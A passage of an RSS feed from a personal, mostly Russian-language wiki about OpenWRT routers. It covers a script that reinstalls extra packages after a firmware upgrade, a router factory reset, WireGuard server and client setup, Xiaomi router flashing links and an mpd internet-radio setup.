  )
}

list_extra_packages_opkg() {
  # If file with packages not exists or packages wer installed after this file was updated (status file newr than $PKGS)
  if [ ! -f $PKGS ] || [ /usr/lib/opkg/status -nt $PKGS ] ; then
    # Find the latest package in the ROM
    PROG=&amp;#039;
      $1 == &amp;quot;Installed-Time:&amp;quot; &amp;amp;&amp;amp; ($2 &amp;lt; NEWEST || NEWEST==&amp;quot;&amp;quot;) {
        NEWEST=$2
      }
      END {
        print NEWEST
      }
    &amp;#039;
    FLASH_TIME=&amp;quot;$( awk &amp;quot;$PROG&amp;quot; /rom/usr/lib/opkg/status )&amp;quot;

    # All user-installed packages minus those from ROM mistakenly marked as such
    # plus (those explicitly marked previously minus those not installed)
    MARKED=`awk &amp;#039;{RE=RE &amp;quot;|&amp;quot; $0} END { print RE }&amp;#039; $PKGS`
    MARKED=&amp;#039;^(&amp;#039;${MARKED#|}&amp;#039;)$&amp;#039;
    PROG=&amp;#039;
      $1 == &amp;quot;Package:&amp;quot; {
        PKG=$2
        USR=&amp;quot;&amp;quot;
      }
      $1 == &amp;quot;Status:&amp;quot; &amp;amp;&amp;amp; $3 ~ &amp;quot;user&amp;quot; {
        USR=1
      }
      $1 == &amp;quot;Installed-Time:&amp;quot; &amp;amp;&amp;amp; $2 &amp;gt; FT &amp;amp;&amp;amp; ( USR || ( PKG ~ MARKED ) ) {
        print PKG
      }
    &amp;#039;
    awk -v FT=&amp;quot;$FLASH_TIME&amp;quot; -v MARKED=&amp;quot;$MARKED&amp;quot; &amp;quot;$PROG&amp;quot; /usr/lib/opkg/status | sort &amp;gt; $PKGS.tmp
    
    mv $PKGS.tmp $PKGS

    # Maybe somebody updated it and OpenWRT team forgot to propagate the fix?
    fix_route53
  fi
}

list_extra_packages_apk() {
  # If file with packages not exists or some packages were installed after this file was updated (status file newr than $PKGS)
  if [ ! -f $PKGS ] || [ /etc/apk/world -nt $PKGS ] ; then
    cat /etc/apk/world /rom/etc/apk/world | sort | uniq -u &amp;gt; $PKGS.tmp
    mv $PKGS.tmp $PKGS
    # Maybe somebody updated it and OpenWRT team forgot to propagate the fix?
    fix_route53
  fi
}

install_extra_packages_opkg() {
  set -e
  opkg update
  UPGRADE=`opkg list-upgradable | cut -d &amp;#039; &amp;#039; -f 1`
  if [ -n &amp;quot;$UPGRADE&amp;quot; ] ; then
    opkg upgrade $UPGRADE
    opkg flag ok $UPGRADE
  fi
  INSTALL_CANDIDATES=`cat $PKGS`
  # Weed out packages that don&amp;#039;t exist anymore
  INSTALL=&amp;quot;&amp;quot;
  for CANDIDATE in $INSTALL_CANDIDATES ; do
    if [ -n &amp;quot;`opkg list $CANDIDATE`&amp;quot; ] ; then
      INSTALL=&amp;quot;$INSTALL $CANDIDATE&amp;quot;
    fi
  done

  if [ -n &amp;quot;$INSTALL&amp;quot; ] ; then
    opkg install $INSTALL
  fi
  fix_route53
  find /etc -name \*-opkg -exec rm &amp;#039;{}&amp;#039; &amp;#039;;&amp;#039;
  touch /usr/.extra-pakages-installed
  sleep 70
  reboot
}

install_extra_packages_apk() {
  set -e
  apk update
  INSTALL=&amp;quot;&amp;quot;
  for PKG in `cat /etc/package-list/extra-packages.txt`; do 
    #grep $PKG /etc/apk/world 1&amp;gt;/dev/null || INSTALL=&amp;quot;$INSTALL $PKG&amp;quot;
    # Added due to hanged ddns post-scripts
    grep $PKG /etc/apk/world 1&amp;gt;/dev/null || ( run_with_timeout 120 apk add $PKG || run_with_timeout 120 apk add --no-scripts $PKG )
  done

#  if [ -n &amp;quot;$INSTALL&amp;quot; ] ; then
#    apk add $INSTALL
#  fi

  fix_route53

  touch /usr/.extra-pakages-installed
  sleep 70
  reboot
}

if [ -f /usr/.extra-pakages-installed ] ; then
  opkg list-installed &amp;amp;&amp;amp; list_extra_packages_opkg || list_extra_packages_apk
elif [ -f $PKGS ] ; then
  opkg list-installed &amp;amp;&amp;amp; install_extra_packages_opkg || install_extra_packages_apk
fi&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;chmod +x /etc/package-list/persist.sh
echo &amp;#039;*/5 * * * * flock -n /var/lock/persist.lock /etc/package-list/persist.sh&amp;#039; &amp;gt;&amp;gt; /etc/crontabs/root &lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 02 Sep 2025 18:42:20 +0000</pubDate>
        </item>
        <item>
            <title>tl-mr3020</title>
            <link>https://wiki.autosys.tk/openwrt/tl-mr3020</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;tl-mr3020&quot;&gt;TL-MR3020&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://openwrt.org/toh/tp-link/tl-mr3020&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/toh/tp-link/tl-mr3020&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/toh/tp-link/tl-mr3020&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
У меня есть этот малюсенький роутер, у которого есть USB, один порт Ethernet и Wi-Fi b/g/n. Я использую его в качестве точки доступа к локалке по WiFi. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;TL-MR3020&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;tl-mr3020&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-321&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;сброс_настроек_openwrt&quot;&gt;Сброс настроек OpenWRT&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось это не самая тривиальная задача. &lt;br/&gt;

Но в двух словах так:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 включить роутер.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Дождатьсь, когда лампочка начнет медленно мигать.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 нажать кнопку (можно несколько раз)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Лампочка начнет мигать быстро.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Теперь можно подключиться по SSH: &lt;pre class=&quot;code&quot;&gt;ssh root@192.168.1.1&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Сбросить настройки одной командой: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;firstboot -y &amp;amp;&amp;amp; reboot now&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u0440\u043e\u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a OpenWRT&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u0440\u043e\u0441_\u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a_openwrt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;322-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 21 Nov 2020 23:00:10 +0000</pubDate>
        </item>
        <item>
            <title>wireguard_tunnel</title>
            <link>https://wiki.autosys.tk/openwrt/wireguard_tunnel</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;server&quot;&gt;Server&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://openwrt.org/docs/guide-user/services/vpn/wireguard/server&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/docs/guide-user/services/vpn/wireguard/server&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/docs/guide-user/services/vpn/wireguard/server&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg install --force-depends  wireguard-tools kmod-wireguard luci-app-wireguard&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Server&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;server&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-173&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;variables&quot;&gt;Variables&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;WG_IF=&amp;quot;vpn&amp;quot;
WG_PORT=&amp;quot;51820&amp;quot;
WG_ADDR=&amp;quot;192.168.9.1/24&amp;quot;
WG_ADDR6=&amp;quot;fdf1:e8a1:8d3f:9::1/64&amp;quot;&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;umask go=
wg genkey | tee wgserver.key | wg pubkey &amp;gt; wgserver.pub
wg genkey | tee wgclient.key | wg pubkey &amp;gt; wgclient.pub
wg genpsk &amp;gt; wgclient.psk
 
# Server private key
WG_KEY=&amp;quot;$(cat wgserver.key)&amp;quot;
 
# Pre-shared key
WG_PSK=&amp;quot;$(cat wgclient.psk)&amp;quot;
 
# Client public key
WG_PUB=&amp;quot;$(cat wgclient.pub)&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Variables&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;variables&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;174-612&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;firewall&quot;&gt;Firewall&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt; 
uci del_list firewall.lan.network=&amp;quot;${WG_IF}&amp;quot;
uci add_list firewall.lan.network=&amp;quot;${WG_IF}&amp;quot;
uci -q delete firewall.wg
uci set firewall.wg=&amp;quot;rule&amp;quot;
uci set firewall.wg.name=&amp;quot;Allow-WireGuard&amp;quot;
uci set firewall.wg.src=&amp;quot;wan&amp;quot;
uci set firewall.wg.dest_port=&amp;quot;${WG_PORT}&amp;quot;
uci set firewall.wg.proto=&amp;quot;udp&amp;quot;
uci set firewall.wg.target=&amp;quot;ACCEPT&amp;quot;
uci commit firewall
/etc/init.d/firewall restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Firewall&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;firewall&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;613-1026&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;network&quot;&gt;Network&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;uci -q delete network.${WG_IF}
uci set network.${WG_IF}=&amp;quot;interface&amp;quot;
uci set network.${WG_IF}.proto=&amp;quot;wireguard&amp;quot;
uci set network.${WG_IF}.private_key=&amp;quot;${WG_KEY}&amp;quot;
uci set network.${WG_IF}.listen_port=&amp;quot;${WG_PORT}&amp;quot;
uci add_list network.${WG_IF}.addresses=&amp;quot;${WG_ADDR}&amp;quot;
uci add_list network.${WG_IF}.addresses=&amp;quot;${WG_ADDR6}&amp;quot;
 

uci commit network
/etc/init.d/network restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Network&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;network&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1027-1429&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;peers&quot;&gt;Peers&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;uci -q delete network.wgclient
uci set network.wgclient=&amp;quot;wireguard_${WG_IF}&amp;quot;
uci set network.wgclient.public_key=&amp;quot;${WG_PUB}&amp;quot;
uci set network.wgclient.preshared_key=&amp;quot;${WG_PSK}&amp;quot;
uci add_list network.wgclient.allowed_ips=&amp;quot;${WG_ADDR%.*}.2/32&amp;quot;
uci add_list network.wgclient.allowed_ips=&amp;quot;${WG_ADDR6%:*}:2/128&amp;quot;

uci commit network
/etc/init.d/network restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Peers&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;peers&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1430-1816&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;client&quot;&gt;Client&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://openwrt.org/docs/guide-user/services/vpn/wireguard/client&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/docs/guide-user/services/vpn/wireguard/client&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/docs/guide-user/services/vpn/wireguard/client&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Client&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;client&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;1817-1903&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;variables1&quot;&gt;Variables&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;WG_IF=&amp;quot;vpn&amp;quot;
WG_SERV=&amp;quot;autosys.tk&amp;quot;
WG_PORT=&amp;quot;51820&amp;quot;
WG_ADDR=&amp;quot;192.168.9.2/24&amp;quot;
WG_ADDR6=&amp;quot;fdf1:e8a1:8d3f:9::2/64&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Variables&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;variables1&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;1904-2049&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;keys&quot;&gt;Keys&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Ключит мы уже сгенерировали на сервере:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat wgclient.key
cat wgserver.pub 
cat wgclient.psk &lt;/pre&gt;

&lt;p&gt;
И помещаем данные в переменные:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;WG_KEY=&amp;quot;---wgclient.key---&amp;quot;
WG_PSK=&amp;quot;---wgclient.psk---&amp;quot;
WG_PUB=&amp;quot;--wgserver.pub--&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Keys&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;keys&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;2050-2348&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;network1&quot;&gt;Network&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;# Configure network
uci -q delete network.${WG_IF}
uci set network.${WG_IF}=&amp;quot;interface&amp;quot;
uci set network.${WG_IF}.proto=&amp;quot;wireguard&amp;quot;
uci set network.${WG_IF}.private_key=&amp;quot;${WG_KEY}&amp;quot;
uci add_list network.${WG_IF}.addresses=&amp;quot;${WG_ADDR}&amp;quot;
uci add_list network.${WG_IF}.addresses=&amp;quot;${WG_ADDR6}&amp;quot;
 
# Add VPN peers
uci -q delete network.wgserver
uci set network.wgserver=&amp;quot;wireguard_${WG_IF}&amp;quot;
uci set network.wgserver.public_key=&amp;quot;${WG_PUB}&amp;quot;
uci set network.wgserver.preshared_key=&amp;quot;${WG_PSK}&amp;quot;
uci set network.wgserver.endpoint_host=&amp;quot;${WG_SERV}&amp;quot;
uci set network.wgserver.endpoint_port=&amp;quot;${WG_PORT}&amp;quot;
uci set network.wgserver.route_allowed_ips=&amp;quot;0&amp;quot;
uci set network.wgserver.persistent_keepalive=&amp;quot;25&amp;quot;
uci add_list network.wgserver.allowed_ips=&amp;quot;0.0.0.0/0&amp;quot;
uci add_list network.wgserver.allowed_ips=&amp;quot;::/0&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Network&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;network1&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;2349-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 26 Oct 2021 17:43:13 +0000</pubDate>
        </item>
        <item>
            <title>xiaomi-ax3600</title>
            <link>https://wiki.autosys.tk/openwrt/xiaomi-ax3600</link>
            <description>&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 СТраничка на 4PDA: &lt;a href=&quot;https://4pda.ru/forum/index.php?showtopic=983152&quot; class=&quot;urlextern&quot; title=&quot;https://4pda.ru/forum/index.php?showtopic=983152&quot; rel=&quot;ugc nofollow&quot;&gt;https://4pda.ru/forum/index.php?showtopic=983152&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Поддержка и получение ssh: &lt;a href=&quot;https://openwrt.org/inbox/toh/xiaomi/xiaomi_ax3600&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/inbox/toh/xiaomi/xiaomi_ax3600&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/inbox/toh/xiaomi/xiaomi_ax3600&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Какой-то гайд для установки образа OpenWRT и отката назад - &lt;a href=&quot;https://forum.openwrt.org/t/xiaomi-ax3600-install-guide/68273&quot; class=&quot;urlextern&quot; title=&quot;https://forum.openwrt.org/t/xiaomi-ax3600-install-guide/68273&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.openwrt.org/t/xiaomi-ax3600-install-guide/68273&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://4pda.ru/forum/index.php?showtopic=983152&amp;amp;st=3940#entry106041131&quot; class=&quot;urlextern&quot; title=&quot;https://4pda.ru/forum/index.php?showtopic=983152&amp;amp;st=3940#entry106041131&quot; rel=&quot;ugc nofollow&quot;&gt;На 4pda человек описал как прошить openwrt из предыдущей ссылки&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://4pda.ru/forum/index.php?showtopic=983152&amp;amp;st=2580#entry102735681&quot; class=&quot;urlextern&quot; title=&quot;https://4pda.ru/forum/index.php?showtopic=983152&amp;amp;st=2580#entry102735681&quot; rel=&quot;ugc nofollow&quot;&gt;еще ссылка на инструкцию&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://forum.openwrt.org/t/add-support-for-redmi-ax6-ax3000-wi-fi-6-mesh-router/76071/43&quot; class=&quot;urlextern&quot; title=&quot;https://forum.openwrt.org/t/add-support-for-redmi-ax6-ax3000-wi-fi-6-mesh-router/76071/43&quot; rel=&quot;ugc nofollow&quot;&gt;а вот как на штатную прошивку устанавливать пакеты openwrt&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://openwrt.org/toh/views/toh_extended_all?dataflt%5BWLAN+2.4GHz*%7E%5D=ax&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/toh/views/toh_extended_all?dataflt%5BWLAN+2.4GHz*%7E%5D=ax&quot; rel=&quot;ugc nofollow&quot;&gt; поиск по Hardware Table с фильтром по поддержке wifi 6 ax&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://forum.openwrt.org/t/802-11ax-routers/10484/347&quot; class=&quot;urlextern&quot; title=&quot;https://forum.openwrt.org/t/802-11ax-routers/10484/347&quot; rel=&quot;ugc nofollow&quot;&gt;Страничка на форуме про роутеры, которые работают под Openwrt и поддерживают 802.11 AX&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 20 Jul 2021 06:33:12 +0000</pubDate>
        </item>
        <item>
            <title>xiaomi_4a_gigabit_dvb4397cn</title>
            <link>https://wiki.autosys.tk/openwrt/xiaomi_4a_gigabit_dvb4397cn</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;router&quot;&gt;Router&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;Xiaomi Mi Wi-Fi Router 4A Gigabit Edition CN
SKU: DVB4397CN 
MfgDate: 2024/10
MiWiFi stable version 1.0.34	&lt;/pre&gt;

&lt;p&gt;
Оказалось, что эта версия на Realtek (SKU:DVB4397CN модель R4A, название сети начинается на rd05,версии прошивок начинаются с 1.0.х) &lt;br/&gt;

ОНА НЕ ПРОШИВАЕТСЯ В Openwrt
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 24 Dec 2024 08:15:48 +0000</pubDate>
        </item>
        <item>
            <title>делаем-интернет-радио</title>
            <link>https://wiki.autosys.tk/openwrt/%D0%B4%D0%B5%D0%BB%D0%B0%D0%B5%D0%BC-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82-%D1%80%D0%B0%D0%B4%D0%B8%D0%BE</link>
            <description>
&lt;p&gt;
Ставим &lt;strong&gt;OpenWRT&lt;/strong&gt; на роутер.&lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;устройства&quot;&gt;Устройства&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
смотрим доступные устройства вывода звука (карты):&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /proc/asound/cards &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;48-215&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;софт&quot;&gt;Софт&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Ставим нужный софт:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;opkg update
opkg install kmod-usb-core kmod-usb2 kmod-usb-storage kmod-usb-uhci kmod-usb-audio kmod-usb-ohci kmod-sound-core mpd mpc madplay nano&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0444\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0444\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;216-434&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;конфигурация&quot;&gt;Конфигурация&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Редактируем &lt;strong&gt;/etc/mpd.conf&lt;/strong&gt; и приводим его к такому состоянию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;audio_output {
      type            &amp;quot;alsa&amp;quot;
      name            &amp;quot;My ALSA Device&amp;quot;
      device          &amp;quot;/dev/snd/hwC0D0&amp;quot;        # optional
      format          &amp;quot;44100:16:2&amp;quot;    # optional
      mixer_type      &amp;quot;hardware&amp;quot;      # optional
      mixer_device    &amp;quot;default&amp;quot;       # optional
      mixer_control   &amp;quot;PCM&amp;quot;           # optional
      mixer_index     &amp;quot;0&amp;quot;             # optional
}
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;435-983&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;диагностика_ошибок&quot;&gt;Диагностика ошибок&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Отладка &lt;strong&gt;mpd&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mpd -v --no-daemon  --stdout&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430_\u043e\u0448\u0438\u0431\u043e\u043a&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;984-1099&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;воспроизведение_аудиопотока&quot;&gt;Воспроизведение аудиопотока&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u043e\u043f\u043e\u0442\u043e\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435_\u0430\u0443\u0434\u0438\u043e\u043f\u043e\u0442\u043e\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1100-1167&amp;quot;} --&gt;
